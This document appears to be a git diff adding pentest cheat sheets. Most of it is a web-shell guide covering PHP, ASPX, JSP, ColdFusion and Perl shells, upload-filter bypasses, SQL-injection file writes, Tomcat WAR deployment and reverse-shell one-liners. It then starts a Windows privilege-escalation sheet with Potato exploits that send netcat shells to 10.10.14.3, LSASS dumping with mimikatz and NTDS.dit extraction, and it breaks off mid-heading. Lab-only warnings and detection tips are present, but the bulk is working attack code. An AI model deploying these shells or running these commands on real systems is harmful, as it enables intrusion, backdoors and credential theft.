(revx/wshx)"] +``` + +--- + +## 0 · Validate execution context + +A successful request is only the beginning. Establish the process identity and constraints before choosing a payload or writing more files. + +### Linux-hosted application + +```bash +id +pwd +uname -a +printf 'PATH=%s\n' "$PATH" +command -v bash sh python3 python perl php curl wget nc socat +env | sort +``` + +### Windows-hosted application — CMD + +```batch +whoami /all +cd +ver +set +where cmd.exe +where powershell.exe +where pwsh.exe +``` + +### Windows-hosted application — PowerShell + +```powershell +$ExecutionContext.SessionState.LanguageMode +[Environment]::Is64BitProcess +Get-Location +Get-ChildItem Env: | Sort-Object Name +Get-Command cmd.exe, powershell.exe, pwsh.exe -ErrorAction SilentlyContinue +``` + +> [!note]+ Interpret the result +> Web commands run as the application-pool or service identity, inherit its environment, and usually start as a fresh process for every HTTP request. A successful `cd` does not normally persist to the next request. Use absolute paths or a stateful client, then upgrade when you need job control or interactive prompts. + +### Exercise GET and POST safely + +```bash +# GET parameter — URL-encode the complete command +curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=id" + +# POST parameter — useful when the shell expects form data +curl -fsS -X POST "$SHELL_URL" --data-urlencode "c=whoami" + +# Preserve a response for the engagement record +curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=pwd" -D headers.txt -o response.txt +``` + +> [!tip]+ Let curl perform the encoding +> Use `--data-urlencode` for spaces, `&`, pipes, redirects and other shell metacharacters. Hand-building `?cmd=id && hostname` changes the HTTP query at `&`; it does not reliably send the complete command as one parameter. + +--- + +## Map the request to the executing file + +“Uploaded successfully” does not prove that the file is reachable or executable. Record each layer separately so a `404`, source-code download or blank response has an obvious place to investigate. + +| Layer | Example | Question to answer | +|---|---|---| +| Virtual host | `app.target.htb` | Which `Host` header reaches the application? | +| Public URL | `/media/2026/08/audit.php` | What URL did the application return or render? | +| Physical path | `/var/www/app/public/media/...` | Where did the server actually store the file? | +| Handler | PHP-FPM, ASP.NET, JSP/Tomcat, ColdFusion | Will this extension be interpreted or served as data? | +| Process identity | `www-data`, `apache`, `IIS APPPOOL\Site` | Which permissions and environment apply? | +| Request state | Cookie, CSRF token, multipart field name | What must be replayed to reach or trigger it? | + +### Prove the handler before proving command execution + +Use a unique static marker first. If interpreter execution is required, use harmless arithmetic and remove the probe after validation. + +```php +<?php echo 7 * 7; ?> +``` + +```aspx +<%@ Page Language="C#" %><%= 7 * 7 %> +``` + +```jsp +<%= 7 * 7 %> +``` + +```cfm +<cfoutput>#7 * 7#</cfoutput> +``` + +Rendered `49` proves the handler ran. Seeing source code proves it did not. A `404` says nothing about the handler until the URL/vhost and server-side name are confirmed. + +### Preserve the exact authenticated request + +Start from Burp's **Copy as curl** output when the upload uses authentication or CSRF protection. Keep the vhost, cookies, token, multipart field name and filename; simplify only after a successful replay. + +```bash +export TARGET_IP='10.10.10.10' +export TARGET_HOST='app.target.htb' + +# Maintain the application session and force the intended vhost to the target IP. +curl -ksS -c webshell.cookies -b webshell.cookies \ + --resolve "$TARGET_HOST:443:$TARGET_IP" \ + "https://$TARGET_HOST/upload" + +# Representative multipart replay—use the real field and CSRF names from the app. +curl -ksS -c webshell.cookies -b webshell.cookies \ + --resolve "$TARGET_HOST:443:$TARGET_IP" \ + -H 'X-CSRF-Token: REPLACE_FROM_SESSION' \ + -F 'file=@probe.php;type=image/gif' \ + -D upload.headers -o upload.body \ + "https://$TARGET_HOST/upload" +``` + +Inspect the status, redirects and response body for a generated filename, UUID, JSON path or rendered media URL: + +```bash +sed -n '1,40p' upload.headers +sed -n '1,160p' upload.body +rg -io '(/[^" ]+\.(php|aspx|jsp|cfm))|([0-9a-f]{8}-[0-9a-f-]{27,})' upload.body +``` + +### Resolve the physical webroot from execution context + +Linux-hosted web service: + +```bash +pwd +printf 'DOCUMENT_ROOT=%s\n' "${DOCUMENT_ROOT:-unset}" +printf 'SCRIPT_FILENAME=%s\n' "${SCRIPT_FILENAME:-unset}" +ps -o user,pid,ppid,comm,args -p $$ -p $PPID + +apachectl -S 2>/dev/null +nginx -T 2>&1 | sed -n '1,200p' +``` + +Windows IIS — CMD: + +```batch +cd +echo %APPL_PHYSICAL_PATH% +%windir%\system32\inetsrv\appcmd.exe list site +%windir%\system32\inetsrv\appcmd.exe list vdir /text:physicalPath +``` + +Windows IIS — PowerShell: + +```powershell +Get-Location +$env:APPL_PHYSICAL_PATH + +Import-Module WebAdministration +Get-Website | Select-Object Name, State, PhysicalPath, Bindings +Get-WebVirtualDirectory | Select-Object Site, Path, PhysicalPath +``` + +These commands depend on the service account's read permissions and installed administration tools. Treat an empty variable or access error as “not available from this context,” not as proof that no webroot exists. + +### Know which shell parses the command + +| Runtime call | Shell metacharacters such as `&&`, `|`, `>`? | Reliable form | +|---|---:|---| +| PHP `system()` / ASPX `cmd.exe /c` | Yes | Send the complete command with URL encoding | +| Java `Runtime.exec(String)` | No implicit shell | Explicitly call `/bin/sh -c` or `cmd.exe /c` | +| PowerShell invocation | PowerShell syntax | Do not paste CMD-only quoting unchanged | + +Capture stderr when a command appears blank: + +```bash +curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=id 2>&1' +curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=pwd; printf "exit=%s\n" "$?"' +``` + +--- + +## A · PHP web shells + +### Minimal one-liners + +```php +<?php system($_GET['cmd']); ?> // classic GET +<?php echo shell_exec($_GET['cmd']); ?> // shell_exec returns full output as string +<?php passthru($_REQUEST['cmd']); ?> // $_REQUEST = GET or POST or cookie +<?php if(isset($_POST['c'])) system($_POST['c']); ?> // POST-only (stays out of access logs' query string) +``` + +> [!info]+ Which exec function? +> `system()` prints output + returns last line · `shell_exec()`/backticks return the **whole** output as a string (needs `echo`) · `passthru()` streams raw bytes (good for binary) · `exec()` returns only the **last** line unless you pass `$output`. If one is disabled via `disable_functions`, try the others: `proc_open`, `popen`, `pcntl_exec`. Check with a probe: `<?php var_dump(ini_get('disable_functions')); ?>`. + +### Compact keyed examples (lab-only) + +```php +<?php @eval($_POST['pass']); ?> // China Chopper server side (client sends PHP) +<?php @system($_REQUEST['0xdeadbeef']); ?> // non-default parameter name +<?php @eval(base64_decode($_POST['x'])); ?> // base64-wrapped payload in body +<?php $f='sys'.'tem'; @$f($_GET['c']); ?> // split string dodges naive grep for "system(" +``` + +> [!tip]+ Blend with an image to survive `.jpg` uploads + LFI +> ```bash +> exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg # payload rides in EXIF +> mv cat.jpg cat.php.jpg # or serve as .php via .htaccess / include via LFI +> ``` +> The file is a valid image (passes magic-byte checks) but contains live PHP once interpreted. + +### Prebuilt PHP shells + +```bash +# Laudanum — pre-installed on Kali/Parrot, edit allowedIps first +cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php # reverse +cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php # pentestmonkey classic (edit $ip/$port) + +# WhiteWinterWolf wwwolf — robust cmd shell, works when system() is filtered +# https://github.com/WhiteWinterWolf/wwwolf-php-webshell + +# p0wny-shell — single-file, pretty prompt UI (https://github.com/flozz/p0wny-shell) +# b374k / c99 / r57 — full-featured but HEAVILY signatured; lab-only, expect AV hits +``` + +### weevely — stealth, obfuscated, encrypted PHP agent + client + +```bash +weevely generate <password> agent.php # generates an obfuscated agent +# upload agent.php, then connect: +weevely http://$IP/uploads/agent.php <password> +# gives a real terminal, modules for file ops, privesc enum, pivot, SQL, etc. +``` + +### msfvenom PHP payloads + +```bash +msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php +# msfvenom often omits the opening tag — prepend it if the app doesn't wrap: +(echo '<?php ' ; cat shell.php) > s.php && mv s.php shell.php +# meterpreter over PHP (richer post-ex): +msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o met.php # catch with multi/handler +``` + +--- + +## B · ASP / ASPX web shells (IIS) + +### ASPX command shell (drop-in, C#) + +```aspx +<%@ Page Language="C#" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> +<script runat="server"> +protected void Page_Load(object sender, EventArgs e){ + ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]); + psi.RedirectStandardOutput = true; + psi.RedirectStandardError = true; + psi.UseShellExecute = false; + Process p = Process.Start(psi); + string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); + p.WaitForExit(); + Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>"); +} +</script> +``` +Browse: `http://$IP/shell.aspx?cmd=whoami` + +### Classic ASP (older IIS, VBScript) + +```asp +<% Set o = Server.CreateObject("WScript.Shell") + Set e = o.Exec("cmd /c " & Request.QueryString("cmd")) + Response.Write("<pre>" & e.StdOut.ReadAll() & "</pre>") %> +``` + +### Antak — PowerShell-driven ASPX web shell (Nishang) + +```bash +cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx +# edit line ~14: set $Username / $Password before uploading +``` +Runs each command as a new process, can execute scripts **in memory**, and encodes traffic — the strongest option when the target is Windows + PowerShell. Browse to the file, authenticate, issue PowerShell. + +### Laudanum ASPX + msfvenom + +```bash +cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # edit allowedIps (~line 59), strip ASCII art +msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx +``` + +> [!info]+ IIS extension quirks worth knowing +> Handler mappings vary by IIS and ASP.NET version. Alternate extensions such as `.ashx`, `.asmx` or classic `.asp` execute only when the corresponding handler is enabled; trailing-dot/ADS behavior is legacy and configuration-dependent. Validate with a harmless marker. The `aspnet_client` directory is a useful ASP.NET clue, not proof that every extension executes. + +--- + +## C · JSP / WAR web shells (Tomcat / JBoss) + +### Raw JSP command shell + +```jsp +<%@ page import="java.util.*,java.io.*" %> +<% + String cmd = request.getParameter("cmd"); + if (cmd != null) { + boolean windows = System.getProperty("os.name").toLowerCase().contains("win"); + String[] command = windows + ? new String[] {"cmd.exe", "/c", cmd} + : new String[] {"/bin/sh", "-c", cmd}; + Process p = new ProcessBuilder(command).redirectErrorStream(true).start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String l; out.println("<pre>"); + while ((l = r.readLine()) != null) out.println(l); + out.println("</pre>"); + } +%> +``` +Drop as `cmd.jsp` in a webroot → `http://$IP:8080/cmd.jsp?cmd=id`. Prebuilt copy: `/usr/share/webshells/jsp/cmd.jsp`. The explicit `/bin/sh -c` / `cmd.exe /c` wrapper is what makes pipes, redirects and command chaining work; `Runtime.exec(String)` alone does not invoke a command shell. + +### Build a WAR by hand + +```bash +mkdir webshell && cp /usr/share/webshells/jsp/cmd.jsp webshell/ +cd webshell && jar -cvf ../webshell.war * # -> webshell.war (deployed at /webshell/cmd.jsp) +``` + +### msfvenom WAR / JSP + +```bash +msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war +msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp +unzip -l shell.war # note the random-named .jsp inside — that's the trigger path +``` + +### Deploy to Tomcat Manager (creds required) + +```bash +# text API deploy +curl -u tomcat:s3cret -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell" +curl "http://$IP:8080/shell/" # trigger reverse shell / browse cmd.jsp +# Metasploit alternative: exploit/multi/http/tomcat_mgr_upload (set HttpUsername/HttpPassword) +``` + +> [!tip]+ No creds? Spray the Tomcat defaults +> `tomcat:tomcat`, `admin:admin`, `tomcat:s3cret`, `admin:<blank>`, `role1:role1`. Manager lives at `/manager/html` (GUI) or `/manager/text` (API). JBoss equivalent: deploy the WAR via `/jmx-console` → `jboss.system:service=MainDeployer`. + +--- + +## D · Other stacks (brief) + +```cfm +<!-- ColdFusion .cfm --> +<cfoutput><pre><cfexecute name="C:\Windows\System32\cmd.exe" + arguments="/c #URL.cmd#" timeout="20" variable="out"></cfexecute>#out#</pre></cfoutput> +``` + +```perl +#!/usr/bin/perl +# Perl CGI — drop in /cgi-bin/, chmod +x +use CGI; my $q = CGI->new; print $q->header('text/plain'); print `$ENV{'QUERY_STRING'}`; +``` + +Python drop-in files are rare (frameworks don't execute arbitrary `.py` from the webroot); when you have Python **code injection** instead, use `os.system()`/`subprocess` inline rather than a file. Prebuilt collections: **PayloadsAllTheThings/Upload Insecure Files**, **tennc/webshell**, and SecLists `Web-Shells/`. + +--- + +## E · Where the prebuilt shells live + +| Source | Path / URL | Languages | +|---|---|---| +| **Laudanum** | `/usr/share/laudanum/` | asp, aspx, jsp, php, cfm, perl | +| **Kali webshells** | `/usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/` | all | +| **Nishang / Antak** | `/usr/share/nishang/Antak-WebShell/` | aspx (PowerShell) | +| **weevely** | `weevely generate` | php (stealth) | +| **SecLists** | `/usr/share/seclists/Web-Shells/` | all | +| **PayloadsAllTheThings** | github `swisskyrepo/PayloadsAllTheThings` | all + upload bypasses | +| **tennc/webshell** | github `tennc/webshell` | huge archive | + +--- + +## F · Deploying it — delivery vectors + +### 1. Unrestricted file upload (best case) + +Upload via the app's own upload feature (avatar, document, logo, import), then browse to the returned path. Find where it landed: common webroots below. + +```text +Linux : /var/www/html /var/www /srv/http (Arch) /usr/share/nginx/html /opt/<app> +Windows: C:\inetpub\wwwroot Tomcat: <install>/webapps/<app>/ +Uploads often under: /uploads /images /files /media /avatars /tmp +``` + +### 2. Upload filter bypass matrix + +> [!info]+ Bypass by what the filter checks +> Work out **what** is being validated (extension? `Content-Type` header? magic bytes? real image content?) and defeat that one thing while keeping the file executable. See Command Injection - Filter Bypass Cheat Sheet for the injection-side companion. + +| Filter | Bypass | +|---|---| +| **Blacklisted `.php`** | `.php3 .php4 .php5 .php7 .pht .phtml .phar .inc` · ASP: `.asp .asa .cer .aspx` · JSP: `.jspx .jsw .jsv .war` | +| **Case-sensitive blacklist** | `shell.pHp`, `shell.AsP`, `SHELL.PHP5` | +| **Extension check on last dot** | double ext `shell.php.jpg` / `shell.jpg.php` (depends which the server honours) | +| **Trailing chars stripped by OS** | `shell.php.` · `shell.php%20` · `shell.php%00.jpg` (null byte, PHP < 5.3.4) · `shell.aspx::$DATA` (IIS ADS) | +| **`Content-Type` (MIME) check** | intercept in Burp, change `Content-Type: application/x-php` → `image/gif` (leave PHP body intact) | +| **Magic-byte / "is it an image" check** | prepend `GIF89a;` or JPEG magic `\xFF\xD8\xFF` to the file before the `<?php` | +| **Real image required** | `exiftool -Comment='<?php system($_GET[cmd]);?>' img.jpg` → polyglot image + code | +| **Server maps ext via config** | upload a `.htaccess`: `AddType application/x-httpd-php .jpg` then upload `shell.jpg` | +| **Client-side JS validation only** | strip it — intercept the POST in Burp Repeater and send the raw multipart | + +```http +# Burp: the two lines you flip on a MIME-only check +Content-Disposition: form-data; name="file"; filename="shell.php" +Content-Type: image/gif <-- was application/x-php +``` + +```apache +# .htaccess trick (Apache) — upload this, then any .shell file runs as PHP +AddType application/x-httpd-php .shell +``` + +### 3. LFI / log poisoning / wrappers → execution + +When you can't upload but **can include** a file (LFI), plant code where the app will read it: poison the User-Agent in the Apache access log then include `/var/log/apache2/access.log`, use `php://input`/`data://`/`php://filter` wrappers, or `/proc/self/environ`. Full technique set lives in the LFI/RFI notes — from here it's the same PHP payloads above, just delivered through the include. + +### 4. SQLi write primitive → `INTO OUTFILE` + +```sql +' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- - +``` +Needs `FILE` privilege, `secure_file_priv` unset, and a writable, known webroot path. Then browse `s.php?cmd=id`. + +### 5. Management interfaces & protocols + +```bash +# Tomcat / JBoss WAR — see section C +# WebDAV PUT (if PUT is allowed) +curl -X PUT http://$IP/shell.php --data-binary @shell.php +davtest -url http://$IP -uploadfile shell.php # tests which extensions are executable +cadaver http://$IP/ # interactive WebDAV +# anonymous FTP mapped to the webroot (module's chain): drop into /uploads, browse over HTTP +ftp $IP # anonymous / <blank> → put shell.aspx → http://$IP/uploads/shell.aspx +``` + +### 6. CMS / app-specific + +- **WordPress** → Appearance → Theme/Plugin Editor, edit `404.php` to your PHP shell; or upload a malicious plugin zip. (`wpscan`, or msf `wp_admin_shell_upload`.) +- **rConfig** → Devices → Vendors → Add Vendor "logo" field; upload `.php` and swap `Content-Type` to `image/gif` in Burp → `/images/vendor/<file>.php`. +- **Joomla / Drupal** → template editor, or a media-manager upload + `.htaccess`. + +--- + +## G · Interact & upgrade + +```bash +# raw browser / curl +curl "http://$IP/uploads/shell.php?cmd=id" +curl -G "http://$IP/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd" +curl -X POST "http://$IP/shell.php" --data-urlencode "c=whoami" # POST-based shell + +# wshx — turns a dumb ?cmd= shell into a stateful prompt (session cwd, upload/download, auth, WAF bypass) +wshx -u "http://$IP/uploads/shell.php?cmd=CMD" # interactive +wshx -u "http://$IP/shell.php" -X POST --data 'c=CMD' --param c # POST variant +wshx -u "...cmd=CMD" -b 'PHPSESSID=..' --start '<pre>' --end '</pre>' # authed + trim wrapper +wshx -u "...cmd=CMD" --proxy http://127.0.0.1:8080 --double-encode # through Burp, WAF bypass + +# UPGRADE to a real reverse shell (do this early — web shells are fragile) +wshx -u "...cmd=CMD" --revshell $LHOST 443 # one-shot upgrade (pair with a listener) +revx $LHOST 443 -t bash --encode # or generate a payload to paste manually +# php one-liner a dropped .php pivots to: +php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +> [!warning]+ Web shell interactivity is limited +> Chained commands (`whoami && hostname`), interactive prompts, `cd` persistence, and `sudo` password entry frequently **don't work** through a bare web shell — each request is a fresh process. `wshx` fakes a persistent cwd; for anything real, upgrade to a reverse shell and stabilise (`python3 -c 'import pty;pty.spawn("/bin/bash")'`). See 3 - Reverse Shells. + +--- + +## H · Troubleshooting matrix + +| Symptom | Likely cause | Next checks | +|---|---|---| +| File downloads or source is displayed | Wrong language/extension or no handler mapping | Re-fingerprint the stack; use a harmless interpreter probe | +| `404 Not Found` after upload | Server renamed the file, different vhost, virtual path or storage outside webroot | Inspect upload response, redirects, HTML source and predictable media paths | +| `403 Forbidden` | Execute permission, request filtering, application authorization or web-server deny rule | Compare static-file access; inspect method, extension and authenticated session | +| Blank `200` response | Function disabled, stderr lost, exception hidden or no command parameter | Use a static marker; capture headers/body; test `pwd`/`cd`; check server error behavior | +| Command runs but output is truncated | Timeout, buffering or binary output | Use `passthru`, redirect stderr, write a small lab artifact, or switch to a reverse shell | +| Linux command works, callback does not | Listener/interface error, egress filtering, DNS failure or missing interpreter | Verify `$LHOST`, route, listening socket and outbound TCP/DNS with a harmless connection test | +| Windows command works, PowerShell payload fails | CLM, AMSI/application control, quoting, architecture or proxy/TLS issue | Check language mode, available binaries, system proxy and event/error output | +| `cd`/environment change disappears | Each request creates a new process | Use absolute paths, send `cd /path && command`, or use a stateful client | +| WAR deploy says `FAIL` | Context already exists, wrong Manager role/path or malformed archive | Query `/manager/text/list`; choose a unique context; inspect WAR contents | + +### Fast request diagnostics + +```bash +# Show status, redirects, cookies and server headers +curl -vkI "$SHELL_URL" + +# Follow redirects while retaining a cookie jar +curl -ksS -L -c cookies.txt -b cookies.txt -G "$SHELL_URL" \ + --data-urlencode "cmd=id" + +# Confirm the listener is bound to the expected interface/port +ss -lntp | grep ":${LPORT}" +``` + +--- + +## Operational safety, detection & cleanup + +> [!warning]+ Control the assessment artifact +> - **Restrict access:** Laudanum `allowedIps` = your source IP · Antak = built-in auth · custom = odd param name + a shared secret so no one else stumbles onto your shell. +> - **Know the signature:** public shells are widely detected. Prefer a minimal, reviewable lab payload and record its hash instead of deploying a feature-heavy shell. +> - **Assume requests are logged:** GET query strings are conspicuous, and WAFs/proxies may also retain POST bodies. Keep commands scoped and avoid placing credentials in either. +> - **Clean up:** record every file you drop and `rm` it at the end — a leftover shell is a live backdoor. The file on disk is a forensic artifact *even when the payload is memory-resident meterpreter*. +> - **Don't submit to public VirusTotal** — it leaks the hash/signature to vendors and burns the payload. + +### Artifact ledger + +| Item | Record before use | Cleanup proof | +|---|---|---| +| Uploaded shell | Local/server filename, URL, SHA-256, owner/ACL | URL returns expected 404/denial; file absent | +| WAR/plugin/archive | Context or install name, deployment response, extracted paths | Undeploy/uninstall response; context no longer listed | +| Server config (`.htaccess`, handler mapping) | Original content/hash and exact change | Original restored; handler probe no longer executes | +| Reverse-shell helper | Destination path, listener port, process identity | File/process/socket absent | +| Test account or app setting | Original role/value and UTC time | Original role/value restored | + +```bash +# Hash before upload and keep the value with the engagement evidence. +sha256sum shell.php shell.war 2>/dev/null + +# Tomcat Manager: list, then undeploy the exact assessment context. +curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/list" +curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/undeploy?path=/shell" +``` + +**Blue-team tells** (what defenders grep for, so you know what you're leaving): new files with recent mtime in upload dirs; PHP files containing `system|shell_exec|passthru|eval|base64_decode|assert`; short files in `/uploads`; unusual `Content-Type` on stored uploads; outbound connections from `www-data`/`apache`/`IIS APPPOOL`; access-log hits with `cmd=`/`?c=` query strings. Detection & prevention detail: 10 - Detection and Prevention. + +--- + +## Lessons Learned + +1. **Fingerprint before you craft.** The single most common failure is uploading the wrong language for the stack — a `.php` on IIS just serves as text. Probe with `7*7`. +2. **Filter bypasses are about *what's checked*.** Extension, MIME header, magic bytes, and real-content validation each have a distinct bypass; the `Content-Type: image/gif` swap defeats the most common (client-supplied MIME trust) one. +3. **Upgrade fast.** A web shell is a stepping stone — fragile, semi-interactive, and noisy. Get a reverse shell (`wshx --revshell` / `revx`) and stabilise before doing real work. +4. **You are leaving files.** Track and remove every dropped shell; restrict it to your IP or behind a secret while it's live. +5. **Prebuilt shells are widely signatured.** Laudanum, Antak and weevely are reliable lab tools, but expect detection. Prefer a minimal, reviewable payload and retain its hash for the evidence record. + +## References + +1. [PayloadsAllTheThings — Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files) +2. [Laudanum project](https://github.com/jbarcia/Web-Shells/tree/master/laudanum) +3. [Nishang · Antak Webshell](https://github.com/samratashok/nishang) +4. [weevely3](https://github.com/epinna/weevely3) +5. [WhiteWinterWolf PHP web shell](https://github.com/WhiteWinterWolf/wwwolf-php-webshell) +6. [tennc/webshell archive](https://github.com/tennc/webshell) +7. [OWASP — Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) +8. [PHP Manual — `system`](https://www.php.net/manual/en/function.system.php) +9. [Apache Tomcat 9 — Manager App How-To](https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html) diff --git a/src/content/sheets/pentest-workflow/windows-privesc-cpts.md b/src/content/sheets/pentest-workflow/windows-privesc-cpts.md @@ -0,0 +1,442 @@ +--- +title: "Windows Privilege Escalation (CPTS)" +description: "CPTS-focused Windows privilege escalation: token and privilege abuse, service/registry misconfig, credential theft and kernel exploits." +category: pentest-workflow +tags: ["privilege-escalation", "windows"] +tools: ["Impacket", "Mimikatz", "Hashcat", "John", "Responder"] +difficulty: advanced +updated: "2026-08-28" +source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/04 - Windows Privilege Escalation - CPTS Cheat Sheet.md" +--- +# Windows Privilege Escalation — CPTS Cheat Sheet + +## Summary + +From a low-privilege Windows shell to `SYSTEM` / local admin. `whoami /priv` is the single highest-value command — token privileges (SeImpersonate, SeDebug, SeBackup) are the fastest wins, followed by privileged group membership, weak service/registry ACLs, credential hunting, and finally a missing-patch kernel exploit. This card covers the whole module: situational awareness, token & named-pipe abuse, the Potato family, built-in group abuse, UAC bypass, service/registry misconfig, kernel exploits, DLL hijacking, credential hunting/pillaging, attacking users, and LOLBAS/AlwaysInstallElevated. + +> [!danger]+ HTB-Only Boundary +> +> 1. Authorized labs/engagements only. Dumping LSASS, cracking NTDS.dit, and planting service binaries are high-impact — get sign-off. +> 2. **Restore every config you touch** (service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`) — leaving a `net localgroup /add` binPath is a live backdoor. +> 3. DPAPI-protected creds (Clixml, SharpChrome, Chrome cookies) only decrypt as the **originating** user — don't exfil blobs you can't use in scope. + +> [!tip]+ Live command libraries +> - **[WADComs](https://wadcoms.github.io/)** — filterable command reference for Windows and Active Directory techniques, tools and credential states. +> - **[LOLBAS](https://lolbas-project.github.io/)** — searchable catalogue of trusted Windows binaries, scripts and libraries with execution, download, upload, bypass and credential-related functions. +> - **[GTFOBins](https://gtfobins.org/)** — Linux/Unix companion when the path crosses into WSL, containers or another Unix host. +> +> Presence is not a privilege-escalation finding by itself. Confirm the binary path, arguments, integrity level, token privileges, ACLs, application-control policy and network reachability required by the selected technique. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A["whoami /priv + /groups\nsysteminfo"] --> B["winPEAS / PowerUp\nSeatbelt / WES-NG"] + B --> C{"Vector?"} + C --> D["Token: SeImpersonate\nSeDebug / SeBackup"] + C --> E["Group: DnsAdmins\nBackup/Server Operators"] + C --> F["Service / registry\nweak ACL / unquoted"] + C --> G["Creds hunt · UAC bypass\n· kernel CVE"] + D --> H["SYSTEM / admin"] + E --> H + F --> H + G --> H +``` + +--- + +## 1 · Situational awareness + +```batch +:: Identity & privileges — run these first +:: SeImpersonate, SeDebug, or SeBackup may be the shortest route. +whoami /priv +whoami /groups +whoami /all +query user & echo %USERNAME% +net user & net localgroup & net localgroup administrators & net accounts + +:: Processes, services and network context +tasklist /svc +:: Loopback listeners reveal local-only services; interfaces/routes reveal pivots. +netstat -ano +ipconfig /all & arp -a & route print +``` + +```powershell +# OS/build, patches and installed applications (avoid Win32_Product side effects) +Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber, OsArchitecture +Get-HotFix | Sort-Object InstalledOn -Descending | Format-Table -AutoSize +$uninstall = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', + 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' +Get-ItemProperty $uninstall -ErrorAction SilentlyContinue | + Where-Object DisplayName | + Sort-Object DisplayName | + Select-Object DisplayName, DisplayVersion, Publisher + +# Security controls and listening sockets +Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled +Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections +Get-NetTCPConnection -State Listen | Sort-Object LocalPort | + Select-Object LocalAddress, LocalPort, OwningProcess +``` + +> [!tip]+ Automated enumeration (upload to `C:\Windows\Temp` — `BUILTIN\Users` writable) +> +> **winPEAS** (`winPEASx64.exe`) · **PowerUp** (`Invoke-AllChecks`) · **SharpUp** (`SharpUp.exe audit`) · **Seatbelt** · **WES-NG** (`systeminfo` → CVE) · **Watson** (missing KBs) · **LaZagne** (`lazagne.exe all`) · **SessionGopher** · **Sysinternals** (AccessChk, PipeList). Baseline standard user = only `SeChangeNotifyPrivilege` — anything more is a lead. + +--- + +## 2 · Token privilege abuse + +**`SeImpersonate` / `SeAssignPrimaryToken` → the Potato family** (common from service accounts / `xp_cmdshell`): +```batch +:: JuicyPotato — pre-1809 only (DCOM/NTLM reflection) +JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t * + +:: PrintSpoofer — modern builds (coerces Print Spooler) +PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" +``` +> [!info]+ Which potato? +> `[environment]::OSVersion.Version` first. **JuicyPotato** dead ≥ Server 2019/Win10 1809. **PrintSpoofer / RoguePotato** = Spooler/OXID. **GodPotato** = broadest (Server 2012–2022, Win8–11, no Spooler) — try first if others fail. Catch with `nc -lnvp 8443`. + +**`SeDebugPrivilege` → dump LSASS / steal a SYSTEM token:** +```batch +procdump.exe -accepteula -ma lsass.exe lsass.dmp +``` +```text +mimikatz # sekurlsa::minidump lsass.dmp +mimikatz # sekurlsa::logonpasswords +``` +```powershell +# RCE as SYSTEM by parenting off a SYSTEM process (winlogon PID 612) — trailing "" required +.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","") +``` + +**`SeTakeOwnershipPrivilege` → own any file** (two steps — `takeown` then grant): +```powershell +takeown /f 'C:\Department Shares\Private\IT\cred.txt' +icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F +cat 'C:\Department Shares\Private\IT\cred.txt' +``` +Targets: `web.config`, `%WINDIR%\repair\{sam,system}`, `%WINDIR%\system32\config\*`, `.kdbx`. + +**`SeBackupPrivilege` / Backup Operators → NTDS.dit + hives:** + +Create `C:\Tools\shadow.dsh`: + +```text +set context persistent nowriters +add volume C: alias cdrive +create +expose %cdrive% E: +``` + +```batch +diskshadow.exe /s C:\Tools\shadow.dsh +robocopy /B E:\Windows\NTDS C:\Tools\ntds ntds.dit +reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y +reg save HKLM\SAM C:\Tools\SAM.SAV /y +``` + +```powershell +# SeBackupPrivilegeCmdLets alternative after importing the module +Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit +``` +```bash +impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL +``` + +**`SeLoadDriverPrivilege` / Print Operators → 